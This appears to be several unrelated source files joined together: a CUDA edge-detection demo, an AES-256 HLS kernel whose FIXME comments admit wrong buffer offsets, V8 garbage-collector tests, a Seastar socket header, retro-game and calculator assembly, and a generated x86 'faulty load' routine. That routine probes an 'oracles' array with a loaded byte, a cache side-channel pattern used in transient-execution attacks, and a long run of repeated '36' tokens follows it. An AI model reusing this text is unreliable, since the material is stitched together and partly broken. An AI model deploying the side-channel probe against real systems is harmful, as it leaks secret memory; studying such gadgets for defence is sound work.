g_bFBODisplay = true; fpsLimit = frameCheckNumber; } } if (g_bQAReadback) { runAutoTest(argc, argv); } else { // First initialize OpenGL context, so we can properly set the GL for CUDA. // This is necessary in order to achieve optimal performance with OpenGL/CUDA interop. initGL( &argc, argv ); // use command-line specified CUDA device if possible, otherwise search for capable device if( cutCheckCmdLineFlag(argc, (const char**)argv, "device") ) { cutilGLDeviceInit(argc, argv); int device; cudaGetDevice( &device ); if( checkCUDAProfile( device ) == false ) { cudaThreadExit(); cutilExit(argc, argv); } } else { //cudaGLSetGLDevice (cutGetMaxGflopsDeviceId() ); int dev = findCapableDevice(argc, argv); if( dev != -1 ) cudaGLSetGLDevice( dev ); else { cudaThreadExit(); cutilExit(argc, argv); } } cutilCheckError(cutCreateTimer(&timer)); cutilCheckError(cutResetTimer(timer)); glutDisplayFunc(display); glutKeyboardFunc(keyboard); glutReshapeFunc(reshape); glutIdleFunc(idle); if (g_bOpenGLQA) { loadDefaultImage( argc, argv ); } if (argc > 1) { char *filename; if (cutGetCmdLineArgumentstr(argc, (const char **)argv, "file", &filename)) { initializeData(filename, argc, argv); } } else { loadDefaultImage( argc, argv ); } // If code is not printing the USage, then we execute this path. if (!bQuit) { if (g_bOpenGLQA) { g_CheckRender = new CheckBackBuffer(wWidth, wHeight, 4); g_CheckRender->setPixelFormat(GL_BGRA); g_CheckRender->setExecPath(argv[0]); g_CheckRender->EnableQAReadback(true); } printf("I: display image\n"); printf("T: display Sobel edge detection (computed with tex)\n"); printf("S: display Sobel edge detection (computed with tex+shared memory)\n"); printf("Use the '-' and '=' keys to change the brightness.\n"); printf("b: switch block filter operation (mean/Sobel)\n"); printf("p: swtich point filter operation (threshold on/off)\n"); fflush(stdout); atexit(cleanup); glutMainLoop(); } } cudaThreadExit(); cutilExit(argc, argv); }
/* * Byte-oriented AES-256 implementation. * All lookup tables replaced with 'on the fly' calculations. */ #include "aes.h" #include <string.h> #define F(x) (((x)<<1) ^ ((((x)>>7) & 1) * 0x1b)) #define FD(x) (((x) >> 1) ^ (((x) & 1) ? 0x8d : 0)) #define BACK_TO_TABLES #ifdef BACK_TO_TABLES #define BUF_SIZE_OFFSET 12 #define BUF_SIZE ((1) << (BUF_SIZE_OFFSET)) #define UNROLL_FACTOR 2 extern "C" { const uint8_t sbox[256] = { 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; #define rj_sbox(x) sbox[(x)] #else /* tableless subroutines */ /* -------------------------------------------------------------------------- */ uint8_t gf_alog(uint8_t x) // calculate anti-logarithm gen 3 { uint8_t atb = 1, z; alog : while (x--) {z = atb; atb <<= 1; if (z & 0x80) atb^= 0x1b; atb ^= z;} return atb; } /* gf_alog */ /* -------------------------------------------------------------------------- */ uint8_t gf_log(uint8_t x) // calculate logarithm gen 3 { uint8_t atb = 1, i = 0, z; glog : do { if (atb == x) break; z = atb; atb <<= 1; if (z & 0x80) atb^= 0x1b; atb ^= z; } while (++i > 0); return i; } /* gf_log */ /* -------------------------------------------------------------------------- */ uint8_t gf_mulinv(uint8_t x) // calculate multiplicative inverse { return (x) ? gf_alog(255 - gf_log(x)) : 0; } /* gf_mulinv */ /* -------------------------------------------------------------------------- */ uint8_t rj_sbox(uint8_t x) { uint8_t y, sb; sb = y = gf_mulinv(x); y = (y<<1)|(y>>7); sb ^= y; y = (y<<1)|(y>>7); sb ^= y; y = (y<<1)|(y>>7); sb ^= y; y = (y<<1)|(y>>7); sb ^= y; return (sb ^ 0x63); } /* rj_sbox */ #endif /* -------------------------------------------------------------------------- */ uint8_t rj_xtime(uint8_t x) { return (x & 0x80) ? ((x << 1) ^ 0x1b) : (x << 1); } /* rj_xtime */ /* -------------------------------------------------------------------------- */ void aes_subBytes(uint8_t *buf) { register uint8_t i = 16; sub : while (i--) { #pragma HLS PIPELINE buf[i] = rj_sbox(buf[i]); } } /* aes_subBytes */ /* -------------------------------------------------------------------------- */ void aes_addRoundKey(uint8_t *buf, uint8_t *key) { register uint8_t i = 16; addkey : while (i--) { #pragma HLS PIPELINE buf[i] ^= key[i]; } } /* aes_addRoundKey */ /* -------------------------------------------------------------------------- */ void aes_addRoundKey_cpy(uint8_t *buf, uint8_t *key, uint8_t *cpk) { register uint8_t i = 16; cpkey : while (i--) { #pragma HLS PIPELINE buf[i] ^= (cpk[i] = key[i]), cpk[16+i] = key[16 + i]; } } /* aes_addRoundKey_cpy */ /* -------------------------------------------------------------------------- */ void aes_shiftRows(uint8_t *buf) { register uint8_t i, j; /* to make it potentially parallelable :) */ i = buf[1]; buf[1] = buf[5]; buf[5] = buf[9]; buf[9] = buf[13]; buf[13] = i; i = buf[10]; buf[10] = buf[2]; buf[2] = i; j = buf[3]; buf[3] = buf[15]; buf[15] = buf[11]; buf[11] = buf[7]; buf[7] = j; j = buf[14]; buf[14] = buf[6]; buf[6] = j; } /* aes_shiftRows */ /* -------------------------------------------------------------------------- */ void aes_mixColumns(uint8_t *buf) { register uint8_t i, a, b, c, d, e; mix : for (i = 0; i < 16; i += 4) { a = buf[i]; b = buf[i + 1]; c = buf[i + 2]; d = buf[i + 3]; e = a ^ b ^ c ^ d; buf[i] ^= e ^ rj_xtime(a^b); buf[i+1] ^= e ^ rj_xtime(b^c); buf[i+2] ^= e ^ rj_xtime(c^d); buf[i+3] ^= e ^ rj_xtime(d^a); } } /* aes_mixColumns */ /* -------------------------------------------------------------------------- */ void aes_expandEncKey(uint8_t *k, uint8_t *rc) { register uint8_t i; k[0] ^= rj_sbox(k[29]) ^ (*rc); k[1] ^= rj_sbox(k[30]); k[2] ^= rj_sbox(k[31]); k[3] ^= rj_sbox(k[28]); *rc = F( *rc); exp1 : for(i = 4; i < 16; i += 4) { #pragma HLS PIPELINE k[i] ^= k[i-4], k[i+1] ^= k[i-3], k[i+2] ^= k[i-2], k[i+3] ^= k[i-1]; } k[16] ^= rj_sbox(k[12]); k[17] ^= rj_sbox(k[13]); k[18] ^= rj_sbox(k[14]); k[19] ^= rj_sbox(k[15]); exp2 : for(i = 20; i < 32; i += 4) { #pragma HLS PIPELINE k[i] ^= k[i-4], k[i+1] ^= k[i-3], k[i+2] ^= k[i-2], k[i+3] ^= k[i-1]; } } /* aes_expandEncKey */ /* -------------------------------------------------------------------------- */ void aes256_encrypt_ecb(uint8_t k[32], uint8_t buf[16]) { aes256_context ctx_body; aes256_context* ctx = &ctx_body; //INIT uint8_t rcon = 1; uint8_t i; ecb1 : for (i = 0; i < 32; i++){ #pragma HLS PIPELINE ctx->enckey[i] = ctx->deckey[i] = k[i]; } ecb2 : for (i = 8;--i;){ aes_expandEncKey(ctx->deckey, &rcon); } //DEC aes_addRoundKey_cpy(buf, ctx->enckey, ctx->key); ecb3 : for(i = 1, rcon = 1; i < 14; ++i) { aes_subBytes(buf); aes_shiftRows(buf); aes_mixColumns(buf); if( i & 1 ) aes_addRoundKey( buf, &ctx->key[16]); else aes_expandEncKey(ctx->key, &rcon), aes_addRoundKey(buf, ctx->key); } aes_subBytes(buf); aes_shiftRows(buf); aes_expandEncKey(ctx->key, &rcon); aes_addRoundKey(buf, ctx->key); } /* aes256_encrypt */ void aes_tiling(uint8_t* local_key, uint8_t* buf) { for (int k=0; k<BUF_SIZE/UNROLL_FACTOR; k+=16) aes256_encrypt_ecb(local_key, buf + k); } void workload( uint8_t* key, uint8_t* data, int size ) { #pragma HLS INTERFACE m_axi port=key offset=slave bundle=gmem #pragma HLS INTERFACE m_axi port=data offset=slave bundle=gmem #pragma HLS INTERFACE s_axilite port=key bundle=control #pragma HLS INTERFACE s_axilite port=data bundle=control #pragma HLS INTERFACE s_axilite port=size bundle=control #pragma HLS INTERFACE s_axilite port=return bundle=control uint8_t local_key[UNROLL_FACTOR][32]; #pragma HLS ARRAY_PARTITION variable=local_key complete dim=1 int i,j,k; memcpy(local_key[0], key, 32); for (j=0; j<32; j++) { #pragma HLS PIPELINE for (i=1; i<UNROLL_FACTOR; i++) { #pragma HLS UNROLL local_key[i][j] = local_key[0][j]; } } int num_batches = (size + BUF_SIZE - 1) / BUF_SIZE; int tail_size = size % BUF_SIZE; if (tail_size == 0) tail_size = BUF_SIZE; uint8_t buf[UNROLL_FACTOR][BUF_SIZE/UNROLL_FACTOR]; #pragma HLS ARRAY_PARTITION variable=buf complete dim=1 major_loop: for (i=0; i<num_batches; i++) { reshape1: for (j=0; j<UNROLL_FACTOR; j++) { // FIXME: the commented statement is the correct one //memcpy(buf[j], data + i*BUF_SIZE + j*BUF_SIZE/UNROLL_FACTOR, BUF_SIZE/UNROLL_FACTOR); memcpy(buf[j], data + j*BUF_SIZE + i*BUF_SIZE, BUF_SIZE); } unroll_loop: for (j=0; j<UNROLL_FACTOR; j++) { #pragma HLS UNROLL aes_tiling(local_key[j], buf[j]); } reshape2: for (j=0; j<UNROLL_FACTOR; j++) { // FIXME: the commented statement is the correct one //memcpy(data + i*BUF_SIZE + j*BUF_SIZE/UNROLL_FACTOR, buf[j], BUF_SIZE/UNROLL_FACTOR); memcpy(data + i*BUF_SIZE + j*BUF_SIZE, buf[j], BUF_SIZE); } } return; } }
// Copyright 2020 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "include/cppgc/explicit-management.h" #include "include/cppgc/garbage-collected.h" #include "src/heap/cppgc/globals.h" #include "src/heap/cppgc/heap-base.h" #include "src/heap/cppgc/heap-object-header.h" #include "src/heap/cppgc/heap-space.h" #include "src/heap/cppgc/page-memory.h" #include "src/heap/cppgc/sweeper.h" #include "test/unittests/heap/cppgc/tests.h" #include "testing/gtest/include/gtest/gtest.h" namespace cppgc { namespace internal { class ExplicitManagementTest : public testing::TestWithHeap { public: size_t AllocatedObjectSize() const { auto* heap = Heap::From(GetHeap()); heap->stats_collector()->NotifySafePointForTesting(); return heap->stats_collector()->allocated_object_size(); } void ResetLinearAllocationBuffers() const { return Heap::From(GetHeap()) ->object_allocator() .ResetLinearAllocationBuffers(); } void TearDown() override { PreciseGC(); TestWithHeap::TearDown(); } }; namespace { class DynamicallySized final : public GarbageCollected<DynamicallySized> { public: void Trace(Visitor*) const {} }; } // namespace TEST_F(ExplicitManagementTest, FreeRegularObjectToLAB) { auto* o = MakeGarbageCollected<DynamicallySized>(GetHeap()->GetAllocationHandle()); const auto* space = NormalPageSpace::From(BasePage::FromPayload(o)->space()); const auto& lab = space->linear_allocation_buffer(); auto& header = HeapObjectHeader::FromObject(o); const size_t size = header.AllocatedSize(); Address needle = reinterpret_cast<Address>(&header); // Test checks freeing to LAB. ASSERT_EQ(lab.start(), header.ObjectEnd()); const size_t lab_size_before_free = lab.size(); const size_t allocated_size_before = AllocatedObjectSize(); subtle::FreeUnreferencedObject(GetHeapHandle(), *o); EXPECT_EQ(lab.start(), reinterpret_cast<Address>(needle)); EXPECT_EQ(lab_size_before_free + size, lab.size()); // LAB is included in allocated object size, so no change is expected. EXPECT_EQ(allocated_size_before, AllocatedObjectSize()); EXPECT_FALSE(space->free_list().ContainsForTesting({needle, size})); } TEST_F(ExplicitManagementTest, FreeRegularObjectToFreeList) { auto* o = MakeGarbageCollected<DynamicallySized>(GetHeap()->GetAllocationHandle()); const auto* space = NormalPageSpace::From(BasePage::FromPayload(o)->space()); const auto& lab = space->linear_allocation_buffer(); auto& header = HeapObjectHeader::FromObject(o); const size_t size = header.AllocatedSize(); Address needle = reinterpret_cast<Address>(&header); // Test checks freeing to free list. ResetLinearAllocationBuffers(); ASSERT_EQ(lab.start(), nullptr); const size_t allocated_size_before = AllocatedObjectSize(); subtle::FreeUnreferencedObject(GetHeapHandle(), *o); EXPECT_EQ(lab.start(), nullptr); EXPECT_EQ(allocated_size_before - size, AllocatedObjectSize()); EXPECT_TRUE(space->free_list().ContainsForTesting({needle, size})); } TEST_F(ExplicitManagementTest, FreeLargeObject) { auto* o = MakeGarbageCollected<DynamicallySized>( GetHeap()->GetAllocationHandle(), AdditionalBytes(kLargeObjectSizeThreshold)); const auto* page = BasePage::FromPayload(o); auto* heap = page->heap(); ASSERT_TRUE(page->is_large()); ConstAddress needle = reinterpret_cast<ConstAddress>(o); const size_t size = LargePage::From(page)->PayloadSize(); EXPECT_TRUE(heap->page_backend()->Lookup(needle)); const size_t allocated_size_before = AllocatedObjectSize(); subtle::FreeUnreferencedObject(GetHeapHandle(), *o); EXPECT_FALSE(heap->page_backend()->Lookup(needle)); EXPECT_EQ(allocated_size_before - size, AllocatedObjectSize()); } TEST_F(ExplicitManagementTest, FreeBailsOutDuringGC) { const size_t snapshot_before = AllocatedObjectSize(); auto* o = MakeGarbageCollected<DynamicallySized>(GetHeap()->GetAllocationHandle()); auto* heap = BasePage::FromPayload(o)->heap(); heap->SetInAtomicPauseForTesting(true); const size_t allocated_size_before = AllocatedObjectSize(); subtle::FreeUnreferencedObject(GetHeapHandle(), *o); EXPECT_EQ(allocated_size_before, AllocatedObjectSize()); heap->SetInAtomicPauseForTesting(false); ResetLinearAllocationBuffers(); subtle::FreeUnreferencedObject(GetHeapHandle(), *o); EXPECT_EQ(snapshot_before, AllocatedObjectSize()); } TEST_F(ExplicitManagementTest, GrowAtLAB) { auto* o = MakeGarbageCollected<DynamicallySized>(GetHeap()->GetAllocationHandle()); auto& header = HeapObjectHeader::FromObject(o); ASSERT_TRUE(!header.IsLargeObject()); constexpr size_t size_of_o = sizeof(DynamicallySized); constexpr size_t kFirstDelta = 8; EXPECT_TRUE(subtle::Resize(*o, AdditionalBytes(kFirstDelta))); EXPECT_EQ(RoundUp<kAllocationGranularity>(size_of_o + kFirstDelta), header.ObjectSize()); constexpr size_t kSecondDelta = 9; EXPECT_TRUE(subtle::Resize(*o, AdditionalBytes(kSecondDelta))); EXPECT_EQ(RoundUp<kAllocationGranularity>(size_of_o + kSecondDelta), header.ObjectSize()); // Second round didn't actually grow object because alignment restrictions // already forced it to be large enough on the first Grow(). EXPECT_EQ(RoundUp<kAllocationGranularity>(size_of_o + kFirstDelta), RoundUp<kAllocationGranularity>(size_of_o + kSecondDelta)); constexpr size_t kThirdDelta = 16; EXPECT_TRUE(subtle::Resize(*o, AdditionalBytes(kThirdDelta))); EXPECT_EQ(RoundUp<kAllocationGranularity>(size_of_o + kThirdDelta), header.ObjectSize()); } TEST_F(ExplicitManagementTest, GrowShrinkAtLAB) { auto* o = MakeGarbageCollected<DynamicallySized>(GetHeap()->GetAllocationHandle()); auto& header = HeapObjectHeader::FromObject(o); ASSERT_TRUE(!header.IsLargeObject()); constexpr size_t size_of_o = sizeof(DynamicallySized); constexpr size_t kDelta = 27; EXPECT_TRUE(subtle::Resize(*o, AdditionalBytes(kDelta))); EXPECT_EQ(RoundUp<kAllocationGranularity>(size_of_o + kDelta), header.ObjectSize()); EXPECT_TRUE(subtle::Resize(*o, AdditionalBytes(0))); EXPECT_EQ(RoundUp<kAllocationGranularity>(size_of_o), header.ObjectSize()); } TEST_F(ExplicitManagementTest, ShrinkFreeList) { auto* o = MakeGarbageCollected<DynamicallySized>( GetHeap()->GetAllocationHandle(), AdditionalBytes(ObjectAllocator::kSmallestSpaceSize)); const auto* space = NormalPageSpace::From(BasePage::FromPayload(o)->space()); // Force returning to free list by removing the LAB. ResetLinearAllocationBuffers(); auto& header = HeapObjectHeader::FromObject(o); ASSERT_TRUE(!header.IsLargeObject()); constexpr size_t size_of_o = sizeof(DynamicallySized); EXPECT_TRUE(subtle::Resize(*o, AdditionalBytes(0))); EXPECT_EQ(RoundUp<kAllocationGranularity>(size_of_o), header.ObjectSize()); EXPECT_TRUE(space->free_list().ContainsForTesting( {header.ObjectEnd(), ObjectAllocator::kSmallestSpaceSize})); } TEST_F(ExplicitManagementTest, ShrinkFreeListBailoutAvoidFragmentation) { auto* o = MakeGarbageCollected<DynamicallySized>( GetHeap()->GetAllocationHandle(), AdditionalBytes(ObjectAllocator::kSmallestSpaceSize - 1)); const auto* space = NormalPageSpace::From(BasePage::FromPayload(o)->space()); // Force returning to free list by removing the LAB. ResetLinearAllocationBuffers(); auto& header = HeapObjectHeader::FromObject(o); ASSERT_TRUE(!header.IsLargeObject()); constexpr size_t size_of_o = sizeof(DynamicallySized); EXPECT_TRUE(subtle::Resize(*o, AdditionalBytes(0))); EXPECT_EQ(RoundUp<kAllocationGranularity>( size_of_o + ObjectAllocator::kSmallestSpaceSize - 1), header.ObjectSize()); EXPECT_FALSE(space->free_list().ContainsForTesting( {header.ObjectStart() + RoundUp<kAllocationGranularity>(size_of_o), ObjectAllocator::kSmallestSpaceSize - 1})); } TEST_F(ExplicitManagementTest, ResizeBailsOutDuringGC) { auto* o = MakeGarbageCollected<DynamicallySized>( GetHeap()->GetAllocationHandle(), AdditionalBytes(ObjectAllocator::kSmallestSpaceSize - 1)); auto* heap = BasePage::FromPayload(o)->heap(); heap->SetInAtomicPauseForTesting(true); const size_t allocated_size_before = AllocatedObjectSize(); // Grow: EXPECT_FALSE( subtle::Resize(*o, AdditionalBytes(ObjectAllocator::kSmallestSpaceSize))); // Shrink: EXPECT_FALSE(subtle::Resize(*o, AdditionalBytes(0))); EXPECT_EQ(allocated_size_before, AllocatedObjectSize()); heap->SetInAtomicPauseForTesting(false); } } // namespace internal } // namespace cppgc
/* * This file is open source software, licensed to you under the terms * of the Apache License, Version 2.0 (the "License"). See the NOTICE file * distributed with this work for additional information regarding copyright * ownership. You may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /* * Copyright (C) 2016 ScyllaDB. */ #pragma once #include <iosfwd> #include <sys/socket.h> #include <netinet/ip.h> #include "net/byteorder.hh" namespace seastar { struct ipv4_addr; class socket_address { public: union { ::sockaddr_storage sas; ::sockaddr sa; ::sockaddr_in in; } u; socket_address(sockaddr_in sa) { u.in = sa; } socket_address(ipv4_addr); socket_address() = default; ::sockaddr& as_posix_sockaddr() { return u.sa; } ::sockaddr_in& as_posix_sockaddr_in() { return u.in; } const ::sockaddr& as_posix_sockaddr() const { return u.sa; } const ::sockaddr_in& as_posix_sockaddr_in() const { return u.in; } bool operator==(const socket_address&) const; }; std::ostream& operator<<(std::ostream&, const socket_address&); enum class transport { TCP = IPPROTO_TCP, SCTP = IPPROTO_SCTP }; namespace net { class inet_address; } struct listen_options { transport proto = transport::TCP; bool reuse_address = false; listen_options(bool rua = false) : reuse_address(rua) {} }; struct ipv4_addr { uint32_t ip; uint16_t port; ipv4_addr() : ip(0), port(0) {} ipv4_addr(uint32_t ip, uint16_t port) : ip(ip), port(port) {} ipv4_addr(uint16_t port) : ip(0), port(port) {} ipv4_addr(const std::string &addr); ipv4_addr(const std::string &addr, uint16_t port); ipv4_addr(const net::inet_address&, uint16_t); ipv4_addr(const socket_address &sa) { ip = net::ntoh(sa.u.in.sin_addr.s_addr); port = net::ntoh(sa.u.in.sin_port); } ipv4_addr(socket_address &&sa) : ipv4_addr(sa) {} }; }
db 0 ; species ID placeholder db 50, 105, 79, 76, 35, 110 ; hp atk def spd sat sdf db FIGHTING, FIGHTING ; type db 45 ; catch rate db 140 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F0 ; gender ratio db 100 ; unknown 1 db 25 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/hitmonchan/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_HUMANSHAPE, EGG_HUMANSHAPE ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, PROTECT, ENDURE, FRUSTRATION, RETURN, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SWIFT, THUNDERPUNCH, DETECT, REST, ATTRACT, THIEF, FIRE_PUNCH, STRONG_ARM ; end
; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by Alexander R. Pruss ; by Stefano Bodrato - Oct. 2003 ; ; ; gfx functions ; ; put byte into the display at offset ; ; void ozdisplayputbyte(int offset, char byte); ; ; ; ------ ; $Id: ozdisplayputbyte.asm,v 1.3 2016/06/28 14:48:17 dom Exp $ ; SECTION code_clib PUBLIC ozdisplayputbyte PUBLIC _ozdisplayputbyte EXTERN ozactivepage ozdisplayputbyte: _ozdisplayputbyte: ld c,3 in e,(c) inc c in d,(c) ld hl,(ozactivepage) out (c),h dec c out (c),l pop hl ;; return address exx ;pop hl ;; offset ;pop bc ;; value pop bc ;; offset pop hl ;; value ld a,h add a,0a0h ld h,a ld (hl),c push bc push hl exx out (c),e inc c out (c),d jp (hl)
[bits 64] [section .text] [default rel] %line 1+0 ./some_filename ; program tst_wyjatki global _start _start: XOR EBP, EBP CALL main XOR RAX, RAX MOV RDI, RAX MOV RAX, 60 SYSCALL HLT main: PUSH rbp MOV rbp, rsp SUB RSP, 0x20 %line 2+0 some_filename SUB RSP, 64
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xd69, %rdx and %rbp, %rbp mov $0x6162636465666768, %r9 movq %r9, %xmm3 movups %xmm3, (%rdx) nop nop nop nop dec %r12 lea addresses_A_ht+0xdaf9, %rdx nop nop nop xor $7242, %r15 movw $0x6162, (%rdx) nop nop nop nop add $58013, %r12 lea addresses_WC_ht+0x14119, %rsi lea addresses_normal_ht+0x1a87a, %rdi nop nop nop cmp $14321, %rdx mov $35, %rcx rep movsq nop nop nop nop nop cmp $25134, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV mov $0x219, %rsi lea addresses_D+0x1fbed, %rdi sub %rbx, %rbx mov $114, %rcx rep movsb nop and $15858, %rcx // Faulty Load lea addresses_D+0x8a19, %rcx nop nop nop add $38489, %rdx mov (%rcx), %r10 lea oracles, %rdi and $0xff, %r10 shlq $12, %r10 mov (%rdi,%r10,1), %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_P', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 2, 'same': False}, 'OP': 'REPM'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 